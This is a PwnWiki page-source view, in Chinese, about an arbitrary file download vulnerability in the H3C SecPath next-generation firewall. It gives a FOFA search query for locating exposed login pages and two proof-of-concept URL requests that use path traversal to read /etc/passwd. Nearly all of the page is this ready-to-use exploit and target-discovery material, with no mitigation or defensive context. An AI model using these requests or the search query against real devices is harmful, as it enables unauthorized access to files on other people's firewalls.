View source for H3C SecPath 下一代防火牆任意文件下載漏洞

From PwnWiki

← H3C SecPath 下一代防火牆任意文件下載漏洞

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
<translate>
==漏洞影響== <!--T:1-->
</translate>
H3C SecPath

==FOFA==
<pre>
title="Web user login"
</pre>

==POC==
<pre>
/webui/?g=sys_dia_data_down&file_name=../etc/passwd

/webui/?g=sys_capture_file_download&name=../../../../../../../../etc/passwd 
</pre>

Return to H3C SecPath 下一代防火牆任意文件下載漏洞.

Retrieved from "https://pwnwiki.com/index.php?title=H3C_SecPath_下一代防火牆_任意文件下載漏洞"